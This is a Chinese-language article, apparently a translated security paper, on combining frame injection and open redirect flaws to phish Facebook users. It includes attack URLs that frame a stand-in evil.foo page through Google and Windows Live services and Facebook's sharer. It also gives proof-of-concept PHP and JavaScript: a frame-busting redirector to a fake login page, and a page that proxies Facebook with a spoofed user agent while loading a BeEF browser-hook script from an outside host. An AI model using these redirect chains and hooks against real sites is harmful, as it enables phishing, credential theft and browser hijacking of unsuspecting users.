從框架注入漏洞到非法重定向
一、框架注入漏洞的定義,描述:
定義:
一個框架注入攻擊是一個所有基于GUI的瀏覽器攻擊,它包括任何代碼如JavaScript,VBScript(ActivX),Flash,AJAX(html+js+py)。代碼被注入是由于腳本沒有對它們正確驗證。
框架弱點的注入攻擊,盡管有些人可能會認為它們與HTML注入/跨站腳本是同類,我在此告訴你:“它們是不一樣的。”
這是為什么:
* 沒有必要注入特殊控制字符,如尖括號(HTMLi/XSS)
* HTMLi/XSS 過濾慣常的程序不會對項目內注入,因為我們只需要插入一個URL中的非審查的參數。
最好的解釋方法就是舉一個例子。大多數框架注入的問題都發生在Web應用程序中,因為動態框架/iframe中沒有足夠的實施過濾。例如, 我們的目標有以下網址:
https://www.***.com /index.php?targeturl=/contact.php
我們的意圖是要發動釣魚攻擊篡改的targeturl參數。我們的目標是是插入第三方網頁,根據我們的控制,而不是原來的聯系網頁:
https://www.victim.foo/index.php?targeturl=http://evil.foo/login.php
注:我們可以編碼惡意pishing鏈接到十六進制值,在此文章內我們沒有使用。
二、針對網址作為有效載荷的描述:
這種技術只工作在受害者已將您加入他的朋友清單內,如果Facebook的cookie數據儲存在瀏覽器中,合法的框架注入對Facebook的組成輸入一個url上的網頁并命名為sharer.php。在Facebook中你將會看到,如果聯系人在線或不接受時,他的朋友或如果他的個人資料是公開的。黑客將嘗試添加您并獲得關于您的信息。在Facebook會建議您不要讓每一個不被信任的聯系人加入您,因為他可以嘗試破解你的帳戶,如發生給你一個惡意鏈接。
這種攻擊如何工作?
這兒是一個小的代碼,可以使用Facebook保護“合法”鏈接注入facebook.com/sharer.php。
/--------------------------------------\ /------\
|http:// | |share |
\--------------------------------------/ \------/
使用Google或Live搜索框注入作為有效載荷的攻擊:
現在可以使用我們的惡意智能劫持這個。
“合法”框架注入,我們將使用一個值得“信賴”的網站,bypass.php源代碼是我們的惡意重定向腳本,這將是解釋下面的內容。
The source code of bypass.php is my malicious redirector script, it will be explained later in the paper.
Google圖像框架注入
http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php
或
Windows live 翻譯框架注入
http://www.windowslivetranslator.com/BV.aspx?ref=Internal#http://www.windowslivetranslator.com/bv.aspx?mkt=fr-FR&dl=fr&lp=en_fr&a=http://evil.foo/bypass.php
三、重定向描述 :
重定向漏洞允許一個邪惡的用戶對一個網站重定向給受害者。主要攻擊媒介的這種脆弱性是pishing。只有在遠程Web服務器的權限可以重定向漏洞使用惡意腳本php,javascript, vbscript ,ajax (worm)。
最常見的攻擊媒介是體現在雙重網址中:
http://site.com/redirect?r=http://malicious_website.com
四、利用方式,結合重定向框架注入vulnz:
先進的重定向和框架注入組合攻擊:
/-----------/ /-----------/ /-----------/ /-----------/ /-----------/
|facebook ---| google ---| bypass.php|---| login.php ---| b e e f :
\-----------\ \-----------\ \-----------\ \-----------\ \-----------\
Facebook的sharer.php的輸入源可能看起來像這樣的腳本:
#########################################################################
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title> Welcome in my-site-is-not-secure-now.w00t</title>
</head>
<frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0">
<frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO"
bordercolor="#0000CC" id="navigation">
<frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" >
<frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO"
bordercolor="#000000" id="en-tete">
<frame src="<?php
//secure code
if(isset($_GET['iframe']))
{
$allowUrls = array("http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php");
if(in_array($_GET['iframe'], $allowUrls))
echo $_GET['iframe']; // 如果IFRAME中允許有一個網址
else // 為了顯示主頁(或一個錯誤頁面)
echo "accueil.htm";
}
else // !!!
echo "accueil.htm";
?>" name="corps" scrolling="auto" id="corps">
</frameset>
</frameset><noframes>No frames :(</noframes>
</html>
#########################################################################
在Facebook中變換惡意網址鏈接像這樣(sharer.php script):
http://www.facebook.com/ext/share.php?sid=501337&h=Crew&u=p3lo
和上面的鏈接Facebook的概況出現像這樣:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
圖片搜索結果
http://www.google.fr/imgres?imgurl=http://fake_url...
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
現在來看看我的成批輸出轉換程序(PoC)重定向腳本(bypass.php):
###########################################################################
<head>
<meta http-equiv="Content-Language" content="it">
<SCRIPT LANGUAGE="JavaScript">
if (top.frames.length!=0) top.location=self.document.location;
</SCRIPT>
<title>fb redirector PoC by Czy</title>
</head>
<body bgcolor="#99FF66">
第一個腳本包含在head,允許殺死第一個框架的有效載荷,URL重定向到self.document.location。
第二個腳本允許重定向我的網頁上,以先進的pishing頁面。
<br>
<br><br>
</body>
<br><br><script>document.location="http://evil.foo/login.php";</script><br>
###############################################################################
這是先進重定向pishing頁面的來源 (login.php):
###############################################################################
<?php
//by Czy
$referer=”http://www.facebook.com/”;
// spoofing FireFox 2.0
$useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?;
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/");
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_REFERER, $referer);
curl_exec ($ch);
curl_close ($ch);
?>
<script src=”http://beefsite/beef/hook/beefmagic.js.php”></script>
###############################################################################
五、尾聲:
經過長期時刻的研究,我認為最好的方式來糾正這些漏洞是保證用戶離開該網頁和網站域名的重定向頁面。